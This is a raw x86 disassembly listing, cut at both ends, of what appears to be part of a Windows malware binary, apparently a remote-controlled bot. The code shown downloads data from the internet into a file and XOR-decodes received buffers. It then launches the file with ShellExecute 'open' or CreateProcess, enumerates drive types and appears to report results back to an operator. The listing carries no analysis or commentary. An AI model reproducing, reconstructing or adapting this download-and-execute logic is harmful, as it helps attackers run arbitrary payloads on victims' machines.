		mov	dword ptr [ebp-14h], 10h
		push	eax
		lea	eax, [ebp-48h]
		push	eax
		push	edi
		call	dword_4CB008
		cmp	eax, 0FFFFFFFFh
		mov	[ebp-1F8h], eax
		jnz	short loc_416034
		push	offset unk_4374DC


loc_416021:				; CODE XREF: ___:00415E63j
					; ___:00415EA1j ...
		lea	eax, [ebp-3FCh]
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx
		jmp	loc_416122
; ---------------------------------------------------------------------------


loc_416034:				; CODE XREF: ___:0041601Aj
		push	edi
		call	dword_4CB00C
		cmp	[ebp+8], esi
		jz	loc_4160E6
		mov	edi, 400h


loc_416049:				; CODE XREF: ___:004160DDj
		mov	eax, [ebp+8]
		mov	[ebp-4], edi
		cmp	eax, edi
		jge	short loc_416056
		mov	[ebp-4], eax


loc_416056:				; CODE XREF: ___:00416051j
		push	edi
		lea	eax, [ebp-0A04h]
		push	esi
		push	eax
		call	sub_41B590
		mov	eax, [ebp+8]
		add	esp, 0Ch
		neg	eax
		push	2
		push	esi
		push	eax
		push	dword ptr [ebp-8]
		nop
		call	near ptr 2760000h
		lea	eax, [ebp-20h]
		push	esi
		push	eax
		lea	eax, [ebp-0A04h]
		push	dword ptr [ebp-4]
		push	eax
		push	dword ptr [ebp-8]
		call	near ptr 26F0000h
		nop
		push	esi
		lea	eax, [ebp-0A04h]
		push	dword ptr [ebp-4]
		push	eax
		push	dword ptr [ebp-1F8h]
		call	dword_4CAFC4
		mov	[ebp-4], eax
		push	esi
		cdq
		add	[ebp-10h], eax
		lea	eax, [ebp-0A04h]
		push	edi
		push	eax
		push	dword ptr [ebp-1F8h]
		adc	[ebp-0Ch], edx
		call	dword_4CAF8C
		cmp	eax, ebx
		jl	loc_41617B
		mov	eax, [ebp-4]
		cmp	eax, ebx
		jl	loc_41617B
		sub	[ebp+8], eax
		jnz	loc_416049
		mov	edi, [ebp-18h]


loc_4160E6:				; CODE XREF: ___:0041603Ej
		push	dword ptr [ebp-8]
		nop
		call	near ptr 26508ACh
		push	dword ptr [ebp-0Ch]
		push	dword ptr [ebp-10h]
		call	sub_416922
		pop	ecx
		pop	ecx
		push	eax
		push	dword ptr [ebp-44h]
		call	dword_4CB000
		push	eax
		lea	eax, [ebp-1E0h]
		push	eax
		lea	eax, [ebp-3FCh]
		push	offset unk_4374B0
		push	eax
		call	sub_41B886


loc_41611F:				; CODE XREF: ___:00415FF6j
		add	esp, 14h


loc_416122:				; CODE XREF: ___:0041602Fj
		cmp	[ebp-50h], esi
		jnz	short loc_416147
		push	esi
		lea	eax, [ebp-3FCh]
		push	dword ptr [ebp-54h]
		push	eax
		lea	eax, [ebp-0DCh]
		push	eax
		push	dword ptr [ebp-1FCh]
		call	sub_409A72
		add	esp, 14h


loc_416147:				; CODE XREF: ___:00416125j
		lea	eax, [ebp-3FCh]
		push	eax
		call	sub_4151AC
		cmp	edi, esi
		pop	ecx
		jbe	short loc_41615F
		push	edi
		call	dword_4CB00C


loc_41615F:				; CODE XREF: ___:00416156j
		push	dword ptr [ebp-1F8h]
		call	dword_4CB00C
		push	dword ptr [ebp-58h]
		call	sub_40B412
		pop	ecx
		push	esi
		nop
		call	near ptr 26D0000h


loc_41617B:				; CODE XREF: ___:004160C9j
					; ___:004160D4j
		push	esi
		mov	esi, offset dword_437498
		push	dword ptr [ebp-54h]
		lea	eax, [ebp-0DCh]
		push	esi
		push	eax
		push	dword ptr [ebp-1FCh]
		call	sub_409A72
		push	esi
		call	sub_4151AC
		add	esp, 18h
		push	dword ptr [ebp-1F8h]
		call	dword_4CB00C
		push	dword ptr [ebp-58h]
		call	sub_40B412
		pop	ecx
		push	ebx
		nop
		call	near ptr 26D0000h


loc_4161BC:				; DATA XREF: sub_401ACD+7B4o
		push	ebp
		mov	ebp, esp
		mov	eax, 14C4h
		call	sub_41BB20
		mov	eax, [ebp+8]
		push	ebx
		push	esi
		push	edi
		push	6Dh
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp-1C0h]
		rep movsd
		push	1
		xor	ebx, ebx
		pop	esi
		mov	[ebp-8], ebx
		mov	[eax+1B0h], esi
		lea	eax, [ebp-2C4h]
		push	104h
		push	eax
		call	near ptr 2660A28h
		nop
		lea	eax, [ebp-1A4h]
		push	eax
		lea	eax, [ebp-2C4h]
		push	eax
		lea	eax, [ebp-2C4h]
		push	offset dword_4293C4
		push	eax
		call	sub_41B886
		add	esp, 10h
		lea	eax, [ebp-2C4h]
		push	ebx
		push	80h
		push	2
		push	ebx
		push	esi
		push	40000000h
		push	eax
		nop
		call	near ptr 26F09D7h
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_416246
		push	offset unk_437614
		jmp	short loc_41628C
; ---------------------------------------------------------------------------


loc_416246:				; CODE XREF: ___:0041623Dj
		push	eax
		nop
		call	near ptr 26508ACh
		lea	eax, [ebp-2C4h]
		push	offset aAB	; "a+b"
		push	eax
		call	sub_41B4C2
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		mov	[ebp-4], eax
		jnz	short loc_41626E
		push	offset unk_4375E4
		jmp	short loc_41628C
; ---------------------------------------------------------------------------


loc_41626E:				; CODE XREF: ___:00416265j
		push	dword ptr [ebp-20h]
		lea	eax, [ebp-1B8h]
		push	eax
		call	sub_415BD3
		pop	ecx
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		mov	[ebp+8], eax
		jnz	short loc_41629F
		push	offset unk_4375C4


loc_41628C:				; CODE XREF: ___:00416244j
					; ___:0041626Cj
		lea	eax, [ebp-4C4h]
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx
		jmp	loc_41639B
; ---------------------------------------------------------------------------


loc_41629F:				; CODE XREF: ___:00416285j
		mov	esi, 1000h


loc_4162A4:				; CODE XREF: ___:0041630Aj
		push	esi
		lea	eax, [ebp-14C4h]
		push	ebx
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		lea	eax, [ebp-14C4h]
		push	ebx
		push	esi
		push	eax
		push	dword ptr [ebp+8]
		call	dword_4CAF8C
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_41636B
		cmp	edi, 0FFFFFFFFh
		jz	short loc_41630C
		push	dword ptr [ebp-4]
		lea	eax, [ebp-14C4h]
		push	edi
		push	1
		push	eax
		call	sub_41D2B4
		add	[ebp-8], edi
		add	esp, 10h
		push	dword ptr [ebp-8]
		call	dword_4CAF70
		mov	[ebp-0Ch], eax
		push	ebx
		lea	eax, [ebp-0Ch]
		push	4
		push	eax
		push	dword ptr [ebp+8]
		call	dword_4CAFC4
		jmp	short loc_4162A4
; ---------------------------------------------------------------------------


loc_41630C:				; CODE XREF: ___:004162D4j
		lea	eax, [ebp-4C4h]
		push	offset dword_437498
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp-4C4h]
		push	dword ptr [ebp-18h]
		push	eax
		lea	eax, [ebp-0A0h]
		push	eax
		push	dword ptr [ebp-1C0h]
		call	sub_409A72
		lea	eax, [ebp-4C4h]
		push	eax
		call	sub_4151AC
		push	dword ptr [ebp-4]
		call	sub_41B05B
		add	esp, 24h
		push	dword ptr [ebp+8]
		call	dword_4CB00C
		push	dword ptr [ebp-1Ch]
		call	sub_40B412
		pop	ecx
		push	1
		nop
		call	near ptr 26D0000h


loc_41636B:				; CODE XREF: ___:004162CBj
		mov	eax, [ebp-8]
		cdq
		push	edx
		push	eax
		call	sub_416922
		pop	ecx
		pop	ecx
		push	eax
		lea	eax, [ebp-1B8h]
		push	eax
		lea	eax, [ebp-1A4h]
		push	eax
		lea	eax, [ebp-4C4h]
		push	offset unk_437598
		push	eax
		call	sub_41B886
		add	esp, 14h


loc_41639B:				; CODE XREF: ___:0041629Aj
		cmp	[ebp-14h], ebx
		jnz	short loc_4163C0
		push	ebx
		lea	eax, [ebp-4C4h]
		push	dword ptr [ebp-18h]
		push	eax
		lea	eax, [ebp-0A0h]
		push	eax
		push	dword ptr [ebp-1C0h]
		call	sub_409A72
		add	esp, 14h


loc_4163C0:				; CODE XREF: ___:0041639Ej
		lea	eax, [ebp-4C4h]
		push	eax
		call	sub_4151AC
		cmp	[ebp-4], ebx
		pop	ecx
		jz	short loc_4163DB
		push	dword ptr [ebp-4]
		call	sub_41B05B
		pop	ecx


loc_4163DB:				; CODE XREF: ___:004163D0j
		cmp	[ebp+8], ebx
		jbe	short loc_4163E9
		push	dword ptr [ebp+8]
		call	dword_4CB00C


loc_4163E9:				; CODE XREF: ___:004163DEj
		push	dword ptr [ebp-1Ch]
		call	sub_40B412
		pop	ecx
		push	ebx
		call	near ptr 26D0000h
		nop


loc_4163F9:				; DATA XREF: sub_401ACD+6279o
					; sub_401ACD+6AB9o
		push	ebp
		mov	ebp, esp
		sub	esp, 510h
		mov	eax, [ebp+8]
		push	ebx
		push	esi
		push	edi
		mov	ecx, 0AAh
		mov	esi, eax
		lea	edi, [ebp-2CCh]
		push	1
		rep movsd
		pop	edi
		xor	esi, esi
		push	esi
		mov	[eax+2A4h], edi
		push	esi
		push	esi
		lea	eax, [ebp-248h]
		push	esi
		push	eax
		push	dword_4CAF24
		call	dword_4CAE78
		cmp	eax, esi
		mov	[ebp-18h], eax
		jz	loc_416885
		push	esi
		push	esi
		push	2
		push	esi
		push	esi
		lea	eax, [ebp-148h]
		push	40000000h
		push	eax
		call	near ptr 26F09D7h
		nop
		cmp	eax, edi
		mov	[ebp-20h], eax
		jnb	short loc_4164C0
		lea	eax, [ebp-148h]
		push	eax
		lea	eax, [ebp-510h]
		push	offset unk_4377E0
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		cmp	[ebp-30h], esi
		jnz	short loc_4164A3
		push	esi
		lea	eax, [ebp-510h]
		push	dword ptr [ebp-2Ch]
		push	eax
		lea	eax, [ebp-2C8h]
		push	eax
		push	dword ptr [ebp-2CCh]
		call	sub_409A72
		add	esp, 14h


loc_4164A3:				; CODE XREF: ___:00416481j
		lea	eax, [ebp-510h]
		push	eax
		call	sub_4151AC
		push	dword ptr [ebp-48h]
		call	sub_40B412
		pop	ecx
		pop	ecx
		push	esi
		call	near ptr 26D0000h
		nop


loc_4164C0:				; CODE XREF: ___:00416461j
		xor	edi, edi
		nop
		call	near ptr 2680600h
		mov	ebx, 7D000h
		mov	[ebp-4], eax
		push	ebx
		call	sub_41B4D5
		pop	ecx
		mov	[ebp-1Ch], eax


loc_4164DA:				; CODE XREF: ___:004165ADj
		push	200h
		lea	eax, [ebp-510h]
		push	esi
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		lea	eax, [ebp+8]
		push	eax
		lea	eax, [ebp-510h]
		push	200h
		push	eax
		push	dword ptr [ebp-18h]
		call	dword_4CAE80
		cmp	[ebp-34h], esi
		jz	short loc_41651E
		push	dword ptr [ebp+8]
		lea	eax, [ebp-510h]
		push	eax
		call	sub_4168EB
		pop	ecx
		pop	ecx


loc_41651E:				; CODE XREF: ___:0041650Bj
		lea	eax, [ebp-24h]
		push	esi
		push	eax
		lea	eax, [ebp-510h]
		push	dword ptr [ebp+8]
		push	eax
		push	dword ptr [ebp-20h]
		nop
		call	near ptr 26E0000h
		cmp	edi, ebx
		jnb	short loc_41655C
		mov	eax, ebx
		sub	eax, edi
		cmp	eax, [ebp+8]
		jbe	short loc_416546
		mov	eax, [ebp+8]


loc_416546:				; CODE XREF: ___:00416541j
		push	eax
		lea	eax, [ebp-510h]
		push	eax
		mov	eax, [ebp-1Ch]
		add	eax, edi
		push	eax
		call	sub_41C310
		add	esp, 0Ch


loc_41655C:				; CODE XREF: ___:00416538j
		add	edi, [ebp+8]
		cmp	[ebp-3Ch], esi
		jz	short loc_416569
		cmp	edi, [ebp-3Ch]
		ja	short loc_4165B3


loc_416569:				; CODE XREF: ___:00416562j
		cmp	dword ptr [ebp-44h], 1
		mov	eax, edi
		jz	short loc_416583
		shr	eax, 0Ah
		push	eax
		lea	eax, [ebp-248h]
		push	eax
		push	offset unk_4377B8
		jmp	short loc_416593
; ---------------------------------------------------------------------------


loc_416583:				; CODE XREF: ___:0041656Fj
		shr	eax, 0Ah
		push	eax
		lea	eax, [ebp-248h]
		push	eax
		push	offset unk_437790


loc_416593:				; CODE XREF: ___:00416581j
		mov	eax, [ebp-48h]
		imul	eax, 234h
		add	eax, offset dword_43DCB0
		push	eax
		call	sub_41B886
		add	esp, 10h
		cmp	[ebp+8], esi
		ja	loc_4164DA


loc_4165B3:				; CODE XREF: ___:00416567j
		cmp	[ebp-3Ch], esi
		mov	dword ptr [ebp-14h], 1
		jz	short loc_416608
		cmp	edi, [ebp-3Ch]
		jz	short loc_416608
		push	dword ptr [ebp-3Ch]
		lea	eax, [ebp-510h]
		mov	[ebp-14h], esi
		push	edi
		push	offset unk_437764
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp-510h]
		push	dword ptr [ebp-2Ch]
		push	eax
		lea	eax, [ebp-2C8h]
		push	eax
		push	dword ptr [ebp-2CCh]
		call	sub_409A72
		lea	eax, [ebp-510h]
		push	eax
		call	sub_4151AC
		add	esp, 28h


loc_416608:				; CODE XREF: ___:004165BDj
					; ___:004165C2j
		nop
		call	near ptr 2680600h
		sub	eax, [ebp-4]
		xor	edx, edx
		mov	ecx, 3E8h
		push	dword ptr [ebp-20h]
		div	ecx
		xor	edx, edx
		mov	ecx, eax
		mov	eax, edi
		inc	ecx
		div	ecx
		mov	ebx, eax
		nop
		call	near ptr 26508ACh
		push	dword ptr [ebp-1Ch]
		call	sub_41B0B1
		cmp	[ebp-38h], esi
		pop	ecx
		jz	short loc_416692
		lea	eax, [ebp-148h]
		push	eax
		call	sub_4010AB
		cmp	eax, [ebp-38h]
		pop	ecx
		jz	short loc_416692
		push	dword ptr [ebp-38h]
		mov	[ebp-14h], esi
		push	eax
		lea	eax, [ebp-510h]
		push	offset unk_43773C
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp-510h]
		push	dword ptr [ebp-2Ch]
		push	eax
		lea	eax, [ebp-2C8h]
		push	eax
		push	dword ptr [ebp-2CCh]
		call	sub_409A72
		lea	eax, [ebp-510h]
		push	eax
		call	sub_4151AC
		add	esp, 28h


loc_416692:				; CODE XREF: ___:0041663Aj
					; ___:0041664Cj
		cmp	[ebp-14h], esi
		jz	loc_4168D2
		cmp	dword ptr [ebp-44h], 1
		jz	loc_41678D
		mov	[ebp-8], ebx
		mov	[ebp-4], esi
		fild	qword ptr [ebp-8]
		push	ecx
		push	ecx
		mov	[ebp-8], edi
		mov	[ebp-4], esi
		fmul	dbl_4276B0
		lea	eax, [ebp-148h]
		fstp	qword ptr [esp]
		fild	qword ptr [ebp-8]
		push	eax
		push	ecx
		push	ecx
		lea	eax, [ebp-510h]
		fmul	dbl_4276B0
		fstp	qword ptr [esp]
		push	offset unk_437704
		push	eax
		call	sub_41B886
		add	esp, 1Ch
		cmp	[ebp-30h], esi
		jnz	short loc_41670D
		push	esi
		lea	eax, [ebp-510h]
		push	dword ptr [ebp-2Ch]
		push	eax
		lea	eax, [ebp-2C8h]
		push	eax
		push	dword ptr [ebp-2CCh]
		call	sub_409A72
		add	esp, 14h


loc_41670D:				; CODE XREF: ___:004166EBj
		lea	eax, [ebp-510h]
		push	eax
		call	sub_4151AC
		cmp	dword ptr [ebp-40h], 1
		pop	ecx
		jnz	loc_4168D2
		push	5
		push	esi
		lea	eax, [ebp-148h]
		push	esi
		push	eax
		push	offset aOpen	; "open"
		push	esi
		call	dword_4CAEE0
		cmp	[ebp-30h], esi
		jnz	loc_4168D2
		lea	eax, [ebp-148h]
		push	eax
		lea	eax, [ebp-510h]
		push	offset dword_4376E8
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp-510h]
		push	dword ptr [ebp-2Ch]
		push	eax
		lea	eax, [ebp-2C8h]
		push	eax
		push	dword ptr [ebp-2CCh]
		call	sub_409A72
		lea	eax, [ebp-510h]
		push	eax
		call	sub_4151AC
		add	esp, 24h
		jmp	loc_4168D2
; ---------------------------------------------------------------------------


loc_41678D:				; CODE XREF: ___:0041669Fj
		mov	[ebp-8], ebx
		mov	[ebp-4], esi
		fild	qword ptr [ebp-8]
		push	ecx
		push	ecx
		mov	[ebp-8], edi
		mov	[ebp-4], esi
		fmul	dbl_4276B0
		lea	eax, [ebp-148h]
		fstp	qword ptr [esp]
		fild	qword ptr [ebp-8]
		push	eax
		push	ecx
		push	ecx
		lea	eax, [ebp-510h]
		fmul	dbl_4276B0
		fstp	qword ptr [esp]
		push	offset unk_4376A4
		push	eax
		call	sub_41B886
		add	esp, 1Ch
		cmp	[ebp-30h], esi
		jnz	short loc_4167F5
		push	esi
		lea	eax, [ebp-510h]
		push	dword ptr [ebp-2Ch]
		push	eax
		lea	eax, [ebp-2C8h]
		push	eax
		push	dword ptr [ebp-2CCh]
		call	sub_409A72
		add	esp, 14h


loc_4167F5:				; CODE XREF: ___:004167D3j
		lea	eax, [ebp-510h]
		push	eax
		call	sub_4151AC
		push	10h
		lea	eax, [ebp-10h]
		push	esi
		push	eax
		call	sub_41B590
		push	44h
		lea	eax, [ebp-310h]
		pop	edi
		push	edi
		push	esi
		push	eax
		call	sub_41B590
		add	esp, 1Ch
		mov	[ebp-310h], edi
		lea	eax, [ebp-10h]
		mov	dword ptr [ebp-304h], offset dword_43D128
		push	1
		mov	[ebp-2E0h], si
		pop	edi
		push	eax
		lea	eax, [ebp-310h]
		push	eax
		push	esi
		push	esi
		push	28h
		push	esi
		push	esi
		lea	eax, [ebp-148h]
		push	esi
		push	eax
		push	esi
		mov	[ebp-2E4h], edi
		nop
		call	near ptr 2650B82h
		cmp	eax, edi
		jnz	short loc_416877
		call	dword_4CAECC
		call	sub_418359
		push	esi
		call	near ptr 77E75CB5h
		nop


loc_416877:				; CODE XREF: ___:00416863j
		lea	eax, [ebp-148h]
		push	eax
		push	offset unk_437670
		jmp	short loc_416891
; ---------------------------------------------------------------------------


loc_416885:				; CODE XREF: ___:0041643Ej
		lea	eax, [ebp-248h]
		push	eax
		push	offset unk_437644


loc_416891:				; CODE XREF: ___:00416883j
		lea	eax, [ebp-510h]
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		cmp	[ebp-30h], esi
		jnz	short loc_4168C5
		push	esi
		lea	eax, [ebp-510h]
		push	dword ptr [ebp-2Ch]
		push	eax
		lea	eax, [ebp-2C8h]
		push	eax
		push	dword ptr [ebp-2CCh]
		call	sub_409A72
		add	esp, 14h


loc_4168C5:				; CODE XREF: ___:004168A3j
		lea	eax, [ebp-510h]
		push	eax
		call	sub_4151AC
		pop	ecx


loc_4168D2:				; CODE XREF: ___:00416695j
					; ___:0041671Ej ...
		push	dword ptr [ebp-18h]
		call	dword_4CAFA8
		push	dword ptr [ebp-48h]
		call	sub_40B412
		pop	ecx
		push	esi
		nop
		call	near ptr 26D0000h

; =============== S U B	R O U T	I N E =======================================



sub_4168EB	proc near		; CODE XREF: ___:00416517p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		xor	ecx, ecx
		cmp	[esp+arg_4], ecx
		jle	short locret_416907


loc_4168F7:				; CODE XREF: sub_4168EB+1Aj
		mov	dl, byte_429094
		xor	[ecx+eax], dl
		inc	ecx
		cmp	ecx, [esp+arg_4]
		jl	short loc_4168F7

locret_416907:				; CODE XREF: sub_4168EB+Aj
		retn
sub_4168EB	endp


; =============== S U B	R O U T	I N E =======================================



sub_416908	proc near		; CODE XREF: sub_401ACD+5841p
					; sub_401ACD+5969p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	[esp+arg_4]
		push	[esp+4+arg_0]
		call	sub_41D3BE
		pop	ecx
		pop	ecx
		xor	ecx, ecx
		cmp	eax, 0FFFFFFFFh
		setnz	cl
		mov	eax, ecx
		retn
sub_416908	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416922	proc near		; CODE XREF: sub_40F96A+458p
					; sub_40F96A+5FDp ...

var_38		= byte ptr -38h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 38h
		and	[ebp+var_4], 0
		push	ebx
		push	esi
		push	edi
		push	32h
		mov	edi, offset dword_4D2BA8
		push	0
		push	edi
		call	sub_41B590
		mov	ebx, [ebp+arg_0]
		add	esp, 0Ch
		lea	esi, [ebp+var_38]


loc_416947:				; CODE XREF: sub_416922+5Bj
					; sub_416922+61j
		push	0
		push	0Ah
		push	[ebp+arg_4]
		push	ebx
		call	sub_41D480
		push	0
		push	0Ah
		push	[ebp+arg_4]
		add	al, 30h
		mov	[esi], al
		inc	esi
		push	ebx
		call	sub_41D410
		mov	ebx, eax
		or	eax, edx
		mov	[ebp+arg_4], edx
		jz	short loc_416985
		inc	[ebp+var_4]
		push	3
		mov	eax, [ebp+var_4]
		pop	ecx
		cdq
		idiv	ecx
		test	edx, edx
		jnz	short loc_416947
		mov	byte ptr [esi],	2Ch
		inc	esi
		jmp	short loc_416947
; ---------------------------------------------------------------------------


loc_416985:				; CODE XREF: sub_416922+4Bj
		dec	esi
		mov	eax, edi


loc_416988:				; CODE XREF: sub_416922+73j
		lea	ecx, [ebp+var_38]
		cmp	esi, ecx
		jb	short loc_416997
		mov	cl, [esi]
		mov	[eax], cl
		inc	eax
		dec	esi
		jmp	short loc_416988
; ---------------------------------------------------------------------------


loc_416997:				; CODE XREF: sub_416922+6Bj
		and	byte ptr [eax],	0
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_416922	endp


; =============== S U B	R O U T	I N E =======================================



sub_4169A1	proc near		; CODE XREF: sub_416B56+51p
					; sub_416B56+87p

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	dword_4CAFD4
		sub	eax, 0
		jz	short loc_4169E4
		dec	eax
		jz	short loc_4169DE
		dec	eax
		dec	eax
		jz	short loc_4169D8
		dec	eax
		jz	short loc_4169D2
		dec	eax
		jz	short loc_4169CC
		dec	eax
		jz	short loc_4169C6
		mov	eax, offset word_437834
		retn
; ---------------------------------------------------------------------------


loc_4169C6:				; CODE XREF: sub_4169A1+1Dj
		mov	eax, offset off_437830
		retn
; ---------------------------------------------------------------------------


loc_4169CC:				; CODE XREF: sub_4169A1+1Aj
		mov	eax, offset aCdrom ; "Cdrom"
		retn
; ---------------------------------------------------------------------------


loc_4169D2:				; CODE XREF: sub_4169A1+17j
		mov	eax, offset aNetwork ; "Network"
		retn
; ---------------------------------------------------------------------------


loc_4169D8:				; CODE XREF: sub_4169A1+14j
		mov	eax, offset aDisk ; "Disk"
		retn
; ---------------------------------------------------------------------------


loc_4169DE:				; CODE XREF: sub_4169A1+10j
		mov	eax, offset aInvalid ; "Invalid"
		retn
; ---------------------------------------------------------------------------


loc_4169E4:				; CODE XREF: sub_4169A1+Dj
		mov	eax, offset aUnknown ; "Unknown"
		retn
sub_4169A1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4169EA	proc near		; CODE XREF: sub_416A32+12p

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		or	eax, 0FFFFFFFFh
		mov	[ebp+var_18], eax
		mov	[ebp+var_14], eax
		mov	[ebp+var_10], eax
		mov	[ebp+var_C], eax
		mov	[ebp+var_8], eax
		mov	[ebp+var_4], eax
		mov	eax, dword_4CAE64
		test	eax, eax
		jz	short loc_416A1F
		lea	ecx, [ebp+var_10]
		push	ecx
		lea	ecx, [ebp+var_8]
		push	ecx
		lea	ecx, [ebp+var_18]
		push	ecx
		push	[ebp+arg_4]
		call	eax


loc_416A1F:				; CODE XREF: sub_4169EA+22j
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	6
		pop	ecx
		lea	esi, [ebp+var_18]
		mov	edi, eax
		rep movsd
		pop	edi
		pop	esi
		leave
		retn
sub_4169EA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416A32	proc near		; CODE XREF: sub_416B56+17p
					; sub_41AA42+1F3p

var_198		= byte ptr -198h
var_118		= byte ptr -118h
var_98		= byte ptr -98h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 198h
		push	esi
		push	edi
		push	[ebp+arg_4]
		lea	eax, [ebp+var_18]
		push	eax
		call	sub_4169EA
		pop	ecx
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_18]
		push	6
		pop	ecx
		rep movsd
		mov	eax, [ebp+var_18]
		and	eax, [ebp+var_14]
		cmp	eax, 0FFFFFFFFh
		jz	loc_416B10
		mov	eax, [ebp+var_10]
		and	eax, [ebp+var_C]
		cmp	eax, 0FFFFFFFFh
		jz	loc_416B10
		mov	eax, [ebp+var_8]
		and	eax, [ebp+var_4]
		cmp	eax, 0FFFFFFFFh
		jz	loc_416B10
		push	ebx
		mov	ebx, 400h
		push	0
		push	ebx
		push	[ebp+var_14]
		push	[ebp+var_18]
		call	sub_41D500
		push	edx
		push	eax
		call	sub_416922
		pop	ecx
		mov	edi, offset aSkb ; "%sKB"
		pop	ecx
		mov	esi, 80h
		push	eax
		push	edi
		lea	eax, [ebp+var_198]
		push	esi
		push	eax
		call	sub_41B980
		add	esp, 10h
		push	0
		push	ebx
		push	[ebp+var_C]
		push	[ebp+var_10]
		call	sub_41D500
		push	edx
		push	eax
		call	sub_416922
		pop	ecx
		pop	ecx
		push	eax
		push	edi
		lea	eax, [ebp+var_118]
		push	esi
		push	eax
		call	sub_41B980
		add	esp, 10h
		push	0
		push	ebx
		push	[ebp+var_4]
		push	[ebp+var_8]
		call	sub_41D500
		push	edx
		push	eax
		call	sub_416922
		pop	ecx
		pop	ecx
		push	eax
		push	edi
		lea	eax, [ebp+var_98]
		push	esi
		push	eax
		call	sub_41B980
		add	esp, 10h
		pop	ebx
		jmp	short loc_416B42
; ---------------------------------------------------------------------------


loc_416B10:				; CODE XREF: sub_416A32+2Cj
					; sub_416A32+3Bj ...
		mov	esi, offset aFailed ; "failed"
		lea	eax, [ebp+var_198]
		push	esi
		push	eax
		call	sub_41B886
		pop	ecx
		lea	eax, [ebp+var_118]
		pop	ecx
		push	esi
		push	eax
		call	sub_41B886
		pop	ecx
		lea	eax, [ebp+var_98]
		pop	ecx
		push	esi
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx


loc_416B42:				; CODE XREF: sub_416A32+DCj
		mov	eax, [ebp+arg_0]
		push	60h
		pop	ecx
		lea	esi, [ebp+var_198]
		mov	edi, eax
		rep movsd
		pop	edi
		pop	esi
		leave
		retn
sub_416A32	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416B56	proc near		; CODE XREF: sub_416C28+17p
					; sub_416C28+60p

var_500		= byte ptr -500h
var_300		= byte ptr -300h
var_180		= byte ptr -180h
var_100		= byte ptr -100h
var_80		= byte ptr -80h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 500h
		push	ebx
		mov	ebx, [ebp+arg_C]
		push	esi
		push	edi
		lea	eax, [ebp+var_300]
		push	ebx
		push	eax
		call	sub_416A32
		push	60h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_300]
		rep movsd
		push	60h
		lea	esi, [ebp+var_300]
		pop	ecx
		lea	edi, [ebp+var_180]
		lea	eax, [ebp+var_80]
		push	offset aFailed	; "failed"
		rep movsd
		push	eax
		call	sub_41C070
		add	esp, 10h
		test	eax, eax
		jnz	short loc_416BC9
		push	ebx
		push	ebx
		call	sub_4169A1
		pop	ecx
		push	eax
		push	offset unk_437884
		lea	eax, [ebp+var_500]
		push	200h
		push	eax
		call	sub_41B980
		add	esp, 14h
		jmp	short loc_416BFD
; ---------------------------------------------------------------------------


loc_416BC9:				; CODE XREF: sub_416B56+4Dj
		lea	eax, [ebp+var_180]
		push	eax
		lea	eax, [ebp+var_100]
		push	eax
		lea	eax, [ebp+var_80]
		push	eax
		push	ebx
		push	ebx
		call	sub_4169A1
		pop	ecx
		push	eax
		push	offset unk_437848
		lea	eax, [ebp+var_500]
		push	200h
		push	eax
		call	sub_41B980
		add	esp, 20h


loc_416BFD:				; CODE XREF: sub_416B56+71j
		push	1
		lea	eax, [ebp+var_500]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		lea	eax, [ebp+var_500]
		push	eax
		call	sub_4151AC
		add	esp, 18h
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_416B56	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416C28	proc near		; CODE XREF: sub_401ACD+2553p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ebx
		xor	ebx, ebx
		cmp	[ebp+arg_C], ebx
		jz	short loc_416C49
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_416B56
		add	esp, 10h
		jmp	short loc_416CAA
; ---------------------------------------------------------------------------


loc_416C49:				; CODE XREF: sub_416C28+9j
		push	esi
		push	edi
		push	ebx
		push	ebx
		call	dword_4CAEDC
